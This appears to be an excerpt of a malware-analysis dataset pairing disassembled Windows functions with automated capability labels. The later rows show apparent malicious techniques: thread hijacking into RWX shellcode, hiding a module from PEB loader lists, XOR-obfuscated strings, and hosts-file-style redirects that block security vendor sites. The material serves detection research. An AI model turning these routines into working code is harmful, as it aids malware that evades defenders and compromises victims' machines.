joyce8/EMBER2024-capa huggingface dataset:
Function at 0x453230
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 8
xor edx, edx
push esi
mov esi, dword [ebp + 8]
test esi, esi
push edi
setne dl
mov edi, ecx
xor eax, eax
lea edx, [edx*2 - 1]
add edx, dword [0x593898]
mov dword [0x593898], edx
sete al
test esi, esi
mov esi, dword [sym.imp.WINMM.dll_timeGetTime]
mov dword [edi + 0x2a38c], eax
je 0x45335e
cmp edx, 1
jne 0x45335e
cmp dword [edi + 0x2a390], 0
je 0x45335e
cmp dword [0x5938c8], 0
jne 0x4532c5
lea eax, [esp + 8]
mov dword [0x5938c8], edx
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov edx, eax
mov dword [0x5938d8], edx
test edx, edx
je 0x45331a
mov ecx, dword [esp + 8]
mov dword [0x5938a0], ecx
mov ecx, dword [esp + 0xc]
mov dword [0x5938a4], ecx
jmp 0x4532cb
mov edx, dword [0x5938d8]
test edx, edx
je 0x45331a
mov ecx, dword [0x5938b8]
mov eax, ecx
mov esi, dword [0x5938bc]
or eax, esi
jne 0x4532fa
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov esi, dword [esp + 0xc]
mov ecx, dword [esp + 8]
mov edx, dword [0x5938d8]
mov dword [0x5938bc], esi
mov dword [0x5938d4], esi
mov esi, dword [sym.imp.WINMM.dll_timeGetTime]
mov dword [0x5938b8], ecx
mov dword [0x5938d0], ecx
jmp 0x453364
movsd xmm0, qword [0x5938e0]
ucomisd xmm0, qword [0x56aa40]
lahf
test ah, 0x44
jp 0x453354
call esi
mov edx, dword [0x5938d8]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x56af70]
mulsd xmm0, qword [0x56ab18]
movsd qword [0x5938e0], xmm0
jmp 0x453364
mov edx, dword [0x5938d8]
cmp dword [0x593898], 0
jne 0x453458
cmp dword [edi + 0x2a390], 0
je 0x453458
cmp dword [0x5938c8], 0
jne 0x4533ba
lea eax, [esp + 8]
mov dword [0x5938c8], 1
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov edx, eax
mov dword [0x5938d8], edx
test edx, edx
je 0x45340c
mov eax, dword [esp + 8]
mov dword [0x5938a0], eax
mov eax, dword [esp + 0xc]
mov dword [0x5938a4], eax
test edx, edx
je 0x45340c
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov esi, dword [esp + 8]
xorps xmm0, xmm0
mov edx, dword [esp + 0xc]
mov ecx, esi
sub ecx, dword [0x5938b8]
mov eax, edx
mov dword [0x5938d0], esi
sbb eax, dword [0x5938bc]
add dword [0x5938b0], ecx
movlpd qword [0x5938b8], xmm0
adc dword [0x5938b4], eax
mov dword [0x5938d4], edx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
call esi
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x56af70]
mulsd xmm1, qword [0x56ab18]
movaps xmm0, xmm1
movsd qword [0x5938a8], xmm1
subsd xmm0, qword [0x5938e0]
addsd xmm0, qword [0x5938c0]
movsd qword [0x5938c0], xmm0
xorps xmm0, xmm0
movsd qword [0x5938e0], xmm0
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x497060
Capabilities:
Read file on windows

Disassembly:
cmp dword [0x5922c4], 0
push ebx
push esi
push edi
mov esi, ecx
je 0x49709a
push 0x55bcf8
push 0x55bcfc
call fcn.00511419
mov edi, eax
add esp, 8
test edi, edi
je 0x49709a
push str.GroundObjectTiles::Generate
push edi
call fcn.004469d0
push edi
call fcn.005114f9
add esp, 0xc
call fcn.00514eba
push 0x1c0000
mov dword [esi + 0x108], 0x100
mov dword [esi + 0x10c], 0x100
call fcn.004c958f
mov ecx, dword [esi + 0x10c]
add esp, 4
xor ebx, ebx
mov dword [esi + 0x120], eax
test ecx, ecx
jle 0x4971a5
mov eax, dword [esi + 0x108]
xor edx, edx
test eax, eax
jle 0x497194
nop word [eax + eax]
xor edi, edi
mov eax, dword [esi + 0x108]
imul eax, ebx
add eax, edx
lea ecx, [eax*8]
sub ecx, eax
mov eax, dword [esi + 0x120]
lea eax, [eax + ecx*4]
mov byte [eax + edi], 0
mov eax, dword [esi + 0x108]
imul eax, ebx
add eax, edx
lea ecx, [eax*8]
sub ecx, eax
mov eax, dword [esi + 0x120]
lea eax, [eax + ecx*4]
mov byte [eax + edi + 1], 0
mov eax, dword [esi + 0x108]
imul eax, ebx
add eax, edx
lea ecx, [eax*8]
sub ecx, eax
mov eax, dword [esi + 0x120]
lea eax, [eax + ecx*4]
mov byte [eax + edi + 2], 0
mov eax, dword [esi + 0x108]
imul eax, ebx
add eax, edx
lea ecx, [eax*8]
sub ecx, eax
mov eax, dword [esi + 0x120]
lea eax, [eax + ecx*4]
mov byte [eax + edi + 3], 0
add edi, 4
cmp edi, 0x1c
jl 0x4970f2
mov eax, dword [esi + 0x108]
inc edx
cmp edx, eax
jl 0x4970f0
mov ecx, dword [esi + 0x10c]
inc ebx
cmp ebx, ecx
jl 0x4970d6
jmp 0x4971ab
mov eax, dword [esi + 0x108]
imul eax, ecx
push eax
call fcn.004c958f
mov dword [esi + 0x194], eax
add esp, 4
mov eax, dword [esi + 0x110]
test eax, eax
jne 0x4971d3
push 0x5616ac
push str.dat_roads_256.raw
jmp 0x4971e2
cmp eax, 1
jne 0x49720e
push 0x5616c4
push str.dat_roads2_256.raw
call fcn.00511419
mov ecx, dword [esi + 0x108]
mov edi, eax
imul ecx, dword [esi + 0x10c]
push edi
push ecx
push 1
push dword [esi + 0x194]
call fcn.00512862
push edi
call fcn.005114f9
add esp, 0x1c
cmp dword [0x5922c4], 0
je 0x497243
push 0x55bcf8
push 0x55bcfc
call fcn.00511419
mov esi, eax
add esp, 8
test esi, esi
je 0x497243
push 0x5616ec
push esi
call fcn.004469d0
push esi
call fcn.005114f9
add esp, 0xc
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x4ab150
Capabilities:
Check http status code

Disassembly:
sub esp, 0x18
push ebx
push ebp
push esi
mov esi, ecx
mov ecx, dword [0x5931e8]
push edi
call fcn.00468db0
mov edi, dword [esp + 0x2c]
xor ebx, ebx
cmp edi, 0xc8
mov byte [esp + 0x1c], 0x13
setne bl
lea ebx, [ebx*2 + 1]
cmp edi, 0xc9
jne 0x4ab18e
mov ebx, 2
jmp 0x4ab19c
cmp edi, 0xcb
mov eax, 4
cmove ebx, eax
mov ecx, dword [esi + 0x2b8]
push 0x19
add ecx, 0x140
call fcn.0044f4f0
test eax, eax
jne 0x4ab280
cmp edi, 0xc8
jne 0x4ab210
mov ecx, dword [esi + 0x2c0]
push 0x87
add ecx, 0x140
call fcn.0044f4f0
test eax, eax
jne 0x4ab210
mov ecx, dword [0x5922ec]
lea edx, [esp + 0x14]
push 0
push 0
push edx
mov eax, dword [ecx]
push 5
mov byte [esp + 0x24], 0x40
call dword [eax + 4]
mov ecx, dword [esi + 0x2c0]
push dword [esi + 0x2fc]
mov eax, dword [ecx]
call dword [eax + 0x14]
mov ecx, dword [esi + 0x2c0]
mov eax, dword [ecx]
call dword [eax + 0x2c]
mov ebp, dword [esi + 0x2b8]
mov ecx, dword [esi + 0x2c0]
mov dword [esp + 0x2c], ecx
mov eax, dword [ebp]
mov eax, dword [eax + 0x14]
cmp eax, method.UIRectArtTextButton.virtual_20
jne 0x4ab3c5
cmp dword [ebp + 0x14c], 0
je 0x4ab24c
mov eax, dword [ebp + 0x144]
mov eax, dword [eax + 4]
cmp dword [eax + 8], 0
sete al
jmp 0x4ab24e
mov al, 1
mov byte [ecx + 0x139], al
push ecx
lea ecx, [ebp + 0x140]
call fcn.0044f2f0
mov eax, dword [esp + 0x2c]
mov dword [eax + 0x13c], ebp
mov ecx, dword [esi + 0x2b8]
jmp 0x4ab31e
mov ecx, dword [esi + 0x2b8]
jmp 0x4ab31e
mov ecx, dword [esi + 0x2c0]
add ecx, 0x140
cmp edi, dword [esi + 0x23bc]
je 0x4ab357
push 0x87
call fcn.0044f4f0
cmp edi, 0xc8
je 0x4ab303
test eax, eax
je 0x4ab323
mov ecx, dword [esi + 0x2b8]
push 0x86
add ecx, 0x140
call fcn.0044f4f0
test eax, eax
je 0x4ab2ea
mov ecx, dword [esi + 0x2b8]
push dword [esi + 0x2c8]
add ecx, 0x140
call fcn.0044f5c0
mov ecx, dword [esi + 0x2b8]
mov eax, dword [ecx]
call dword [eax + 0x2c]
mov ecx, dword [esi + 0x2c0]
push dword [esi + 0x2fc]
add ecx, 0x140
call fcn.0044f5c0
jmp 0x4ab318
test eax, eax
jne 0x4ab323
mov ecx, dword [esi + 0x2c0]
push dword [esi + 0x2fc]
mov eax, dword [ecx]
call dword [eax + 0x14]
mov ecx, dword [esi + 0x2c0]
mov eax, dword [ecx]
call dword [eax + 0x2c]
mov ecx, dword [0x5922ec]
lea edx, [esp + 0x1c]
mov eax, dword [esi + 0x23a4]
push 0
push 0
mov byte [esp + 0x29], bl
mov dword [esp + 0x25], eax
mov eax, dword [ecx]
push edx
push 0xa
call dword [eax + 4]
mov dword [esi + 0x23bc], edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret 4
push dword [esi + 0x2fc]
call fcn.0044f5c0
mov ecx, dword [esi + 0x2c0]
mov eax, dword [ecx]
call dword [eax + 0x2c]
mov ecx, dword [esi + 0x2b8]
push dword [esi + 0x2c0]
add ecx, 0x140
call fcn.0044f5c0
mov ecx, dword [esi + 0x2b8]
mov eax, dword [ecx]
call dword [eax + 0x2c]
mov ecx, dword [esi + 0x2b8]
push dword [esi + 0x2c8]
add ecx, 0x140
call fcn.0044f5c0
mov ecx, dword [esi + 0x2b8]
mov eax, dword [ecx]
call dword [eax + 0x2c]
pop edi
mov dword [esi + 0x23bc], 0
pop esi
pop ebp
pop ebx
add esp, 0x18
ret 4
push ecx
mov ecx, ebp
call eax
jmp 0x4ab275
Function at 0x526318
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00525f1d

Function at 0x526323
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0052609e

Function at 0x52d40b
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0052cbe5

Function at 0x52d416
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0052ce20

Function at 0x52dae0
Capabilities:
Create thread
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0052d867
Function at 0x10002e90
Capabilities:
Hash data using crc32b

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov edx, 0x80
xor ecx, ecx
mov dword [ebp - 4], ecx
xor eax, eax
test cl, 1
cmovne eax, edx
shr ecx, 1
test cl, 1
je 0x10002eb6
bts eax, 6
shr ecx, 1
test cl, 1
je 0x10002ec1
bts eax, 5
shr ecx, 1
test cl, 1
je 0x10002ecc
bts eax, 4
shr ecx, 1
test cl, 1
je 0x10002ed7
bts eax, 3
shr ecx, 1
test cl, 1
je 0x10002ee2
bts eax, 2
shr ecx, 1
test cl, 1
je 0x10002eed
bts eax, 1
test cl, 2
je 0x10002ef6
bts eax, 0
shl eax, 0x18
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
add eax, eax
and ecx, 0x4c11db7
xor ecx, eax
mov edx, ecx
and edx, 0x80000000
neg edx
lea eax, [ecx + ecx]
sbb edx, edx
and edx, 0x4c11db7
xor edx, eax
mov ecx, edx
and ecx, 0x80000000
neg ecx
lea eax, [edx + edx]
sbb ecx, ecx
and ecx, 0x4c11db7
xor ecx, eax
mov edx, ecx
and edx, 0x80000000
neg edx
lea eax, [ecx + ecx]
sbb edx, edx
and edx, 0x4c11db7
xor edx, eax
mov ecx, edx
and ecx, 0x80000000
neg ecx
lea eax, [edx + edx]
sbb ecx, ecx
and ecx, 0x4c11db7
xor ecx, eax
mov edx, ecx
and edx, 0x80000000
neg edx
lea eax, [ecx + ecx]
sbb edx, edx
and edx, 0x4c11db7
xor edx, eax
mov ecx, edx
and ecx, 0x80000000
neg ecx
lea eax, [edx + edx]
sbb ecx, ecx
and ecx, 0x4c11db7
xor ecx, eax
mov ebx, ecx
and ebx, 0x80000000
neg ebx
lea eax, [ecx + ecx]
sbb ebx, ebx
and ebx, 0x4c11db7
xor ebx, eax
mov eax, dword [ebp - 4]
xor edx, edx
mov dword [edi + eax*4], ebx
lea esi, [edi + eax*4]
lea ecx, [edx + 1]
nop
test bl, 1
je 0x10002fcf
mov eax, 0x20
sub eax, ecx
bts edx, eax
inc ecx
shr ebx, 1
cmp ecx, 0x21
jl 0x10002fc0
mov ecx, dword [ebp - 4]
inc ecx
mov dword [esi], edx
mov dword [ebp - 4], ecx
mov edx, 0x80
cmp ecx, 0xff
jle 0x10002ea3
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10003000
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x10028014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push 0x100219d0
push eax
lea eax, [ebp - 0x408]
mov dword [ebp - 0x40c], ecx
push eax
or ebx, 0xffffffff
mov dword [ebp - 0x408], 0
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen_s]
add esp, 0xc
test eax, eax
je 0x10003058
or eax, 0xffffffff
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001e905
mov esp, ebp
pop ebp
ret 4
push esi
push edi
nop word [eax + eax]
push dword [ebp - 0x408]
lea eax, [ebp - 0x404]
push 0x400
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov edi, eax
lea esi, [ebp - 0x404]
add esp, 0x10
mov dword [ebp - 0x410], edi
mov edx, edi
test edi, edi
je 0x100030b3
mov edi, dword [ebp - 0x40c]
movzx eax, byte [esi]
lea esi, [esi + 1]
movzx ecx, bl
xor ecx, eax
shr ebx, 8
xor ebx, dword [edi + ecx*4]
sub edx, 1
jne 0x10003097
mov edi, dword [ebp - 0x410]
cmp edi, 0x400
je 0x10003060
push dword [ebp - 0x408]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov ecx, dword [ebp - 4]
add esp, 4
not ebx
xor ecx, ebp
mov eax, ebx
pop edi
pop esi
pop ebx
call fcn.1001e905
mov esp, ebp
pop ebp
ret 4
Function at 0x100030f0
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 0xc]
lea eax, [ebp + 0xc]
push 0x100219d8
push dword [ebp + 8]
mov dword [ebp - 4], ecx
push eax
mov dword [edi], 0xffffffff
mov dword [ebp + 0xc], 0
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
add esp, 0xc
test eax, eax
je 0x1000312a
xor al, al
pop edi
mov esp, ebp
pop ebp
ret 0xc
push ebx
push 0x400
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov ebx, eax
mov dword [ebp + 8], ebx
push dword [ebp + 0xc]
test ebx, ebx
jne 0x10003158
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
xor al, al
pop ebx
pop edi
mov esp, ebp
pop ebp
ret 0xc
push 0x400
push 1
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
test eax, eax
je 0x100031b0
push esi
nop
mov esi, ebx
test eax, eax
je 0x10003197
mov ebx, dword [edi]
lea esi, [esi + 1]
movzx ecx, byte [esi - 1]
movzx edx, bl
xor edx, ecx
shr ebx, 8
mov ecx, dword [ebp - 4]
xor ebx, dword [ecx + edx*4]
mov dword [edi], ebx
sub eax, 1
jne 0x10003176
mov ebx, dword [ebp + 8]
push dword [ebp + 0xc]
push 0x400
push 1
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
test eax, eax
jne 0x10003170
pop esi
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
push dword [ebp + 0xc]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
not dword [edi]
add esp, 8
mov al, 1
pop ebx
pop edi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x100031d0
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 0xc]
lea eax, [ebp + 0xc]
push 0x100219d0
push dword [ebp + 8]
mov dword [ebp - 4], ecx
push eax
mov dword [edi], 0xffffffff
mov dword [ebp + 0xc], 0
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen_s]
add esp, 0xc
test eax, eax
je 0x1000320a
xor al, al
pop edi
mov esp, ebp
pop ebp
ret 0xc
push ebx
push 0x400
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov ebx, eax
mov dword [ebp + 8], ebx
push dword [ebp + 0xc]
test ebx, ebx
jne 0x10003238
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
xor al, al
pop ebx
pop edi
mov esp, ebp
pop ebp
ret 0xc
push 0x400
push 1
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
test eax, eax
je 0x10003290
push esi
nop
mov esi, ebx
test eax, eax
je 0x10003277
mov ebx, dword [edi]
lea esi, [esi + 1]
movzx ecx, byte [esi - 1]
movzx edx, bl
xor edx, ecx
shr ebx, 8
mov ecx, dword [ebp - 4]
xor ebx, dword [ecx + edx*4]
mov dword [edi], ebx
sub eax, 1
jne 0x10003256
mov ebx, dword [ebp + 8]
push dword [ebp + 0xc]
push 0x400
push 1
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
test eax, eax
jne 0x10003250
pop esi
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
push dword [ebp + 0xc]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
not dword [edi]
add esp, 8
mov al, 1
pop ebx
pop edi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10003ef0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [ebp + 8]
mov eax, ecx
push esi
lea ecx, [ebp - 4]
mov dword [ebp - 8], eax
push ecx
push 0x40
push ebx
push eax
mov esi, edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ebx
push esi
mov esi, dword [ebp - 8]
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10003fe0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 4]
push ebx
push esi
push eax
push 0x40
push dword [ebp + 8]
mov ebx, ecx
mov esi, edx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esi, ebx
mov byte [ebx], 0xe9
sub esi, 5
mov dword [ebx + 1], esi
mov esi, dword [ebp + 8]
cmp esi, 5
jbe 0x1000402a
push edi
lea ecx, [esi - 5]
mov eax, 0x90909090
mov edx, ecx
lea edi, [ebx + 5]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
pop edi
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10004160
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f4
mov eax, dword [0x10028014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
mov edx, 0xd6
push esi
push edi
mov edi, dword [ebp + 8]
xor eax, eax
mov cl, byte [eax + 0x100219e4]
xor cl, dl
mov byte [ebp + eax - 0x18], cl
inc eax
lea ecx, [edx + 1]
movzx edx, cl
cmp eax, 0x12
jb 0x10004183
lea eax, [ebp - 0x18]
mov byte [ebp - 6], 0
push eax
push 0x3f669e8b
lea ecx, [ebp - 0x24]
call fcn.100187c0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov word [ebp - 0x1c], 0
lea eax, [ebp - 0x2f4]
mov word [ebp - 8], 0
push eax
push 0x40
xorps xmm0, xmm0
mov byte [ebp - 6], 0
push 0x100
push esi
movq qword [ebp - 0x24], xmm0
movups xmmword [ebp - 0x18], xmm0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0
push ebx
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x2f0], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea eax, [ebp - 0x2f0]
mov dword [ebp - 0x240], edi
push eax
push esi
mov dword [ebp - 0x2f0], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001e905
mov esp, ebp
pop ebp
ret 0x10
Function at 0x10004270
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
nop
nop
nop
nop
nop
mov dword [ebp - 4], 0
nop
nop
nop
nop
nop
pushal
pushfd
nop
nop
nop
nop
nop
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x100042bd
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x100042c1
cmp edx, esi
jne 0x100042a6
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x100042e1
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x100042e5
cmp edx, esi
jne 0x100042ca
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x10004305
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10004309
cmp edx, esi
jne 0x100042ee
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10004320
Capabilities:
Create process on windows
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x10028014]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, 0xdd
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + 0x10021a04]
xor al, dl
mov byte [ebp + ecx - 0x120], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x16
jb 0x10004350
mov byte [ebp - 0x10a], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.10001410
add esp, 0xc
lea eax, [ebp - 0x108]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
jmp dword [pe_dos_header]
Function at 0x10004620
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov bl, byte [ebp + 8]
movsx eax, bl
push esi
mov esi, ecx
movd xmm0, eax
xor eax, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm2, xmm0, 0
test edx, edx
jle 0x100046b0
cmp edx, 0x20
jb 0x1000469b
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x10004659
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm1, xmmword [0x10023090]
mov edi, edx
sub edi, ecx
lea ecx, [esi + 0x10]
nop word [eax + eax]
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
paddb xmm0, xmm2
pxor xmm0, xmm1
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
paddb xmm0, xmm2
pxor xmm0, xmm1
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x10004670
pop edi
cmp eax, edx
jge 0x100046b0
nop
mov cl, byte [eax + esi]
add cl, bl
xor cl, 0xa0
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x100046a0
pop esi
pop ebx
pop ebp
ret

Function at 0x100046c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov bl, byte [ebp + 8]
movsx eax, bl
push esi
mov esi, ecx
movd xmm0, eax
xor eax, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm2, xmm0, 0
test edx, edx
jle 0x10004750
cmp edx, 0x20
jb 0x1000473b
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x100046f9
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm1, xmmword [0x10023090]
mov edi, edx
sub edi, ecx
lea ecx, [esi + 0x10]
nop word [eax + eax]
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
pxor xmm0, xmm1
psubb xmm0, xmm2
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
pxor xmm0, xmm1
psubb xmm0, xmm2
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x10004710
pop edi
cmp eax, edx
jge 0x10004750
nop
mov cl, byte [eax + esi]
xor cl, 0xa0
sub cl, bl
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x10004740
pop esi
pop ebx
pop ebp
ret

Function at 0x10004760
Capabilities:
Encode data using xor

Disassembly:
push esi
push 0x100
push 0
push 0x10aaa6a8
mov esi, ecx
call sub.VCRUNTIME140.dll_memset
lea eax, [esi + 0xff]
add esp, 0xc
xor ecx, ecx
cmp eax, 0x10aaa6a8
jb 0x100047b5
cmp esi, 0x10aaa7a7
ja 0x100047b5
sub esi, 0x10aaa6a8
mov al, byte [esi + ecx + 0x10aaa6a8]
sub al, 0x1b
xor al, 0xc
mov byte [ecx + 0x10aaa6a8], al
inc ecx
cmp ecx, 0x100
jl 0x10004794
mov eax, 0x10aaa6a8
pop esi
ret
movaps xmm1, xmmword [str.eeeeeeeeeeeeeeeewww.youtube.com_oogle.com_127.0.crosoft.com_127.0.0.1_r_nwww.eset.ww.eset.eu_127.0w.facebook.com_1ia.org_127.0.0.10.1_r_nwww.yahoo.c.0.1_r_nen.wikiped127.0.0.1_r_nwww.g27.0.0.1_r_nwww.micom_127.0.0.1_r_nwom_127.0.0.1_r_nwwwwwwwwwwwwwwwwww]
mov ecx, 0x10aaa6a8
movaps xmm2, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
mov edx, 0x10aaa6b8
sub ecx, esi
mov eax, 8
sub edx, esi
nop word [eax + eax]
lea esi, [esi + 0x20]
movups xmm0, xmmword [esi - 0x20]
psubb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [ecx + esi - 0x20], xmm0
movups xmm0, xmmword [esi - 0x10]
psubb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [edx + esi - 0x20], xmm0
sub eax, 1
jne 0x100047e0
mov eax, 0x10aaa6a8
pop esi
ret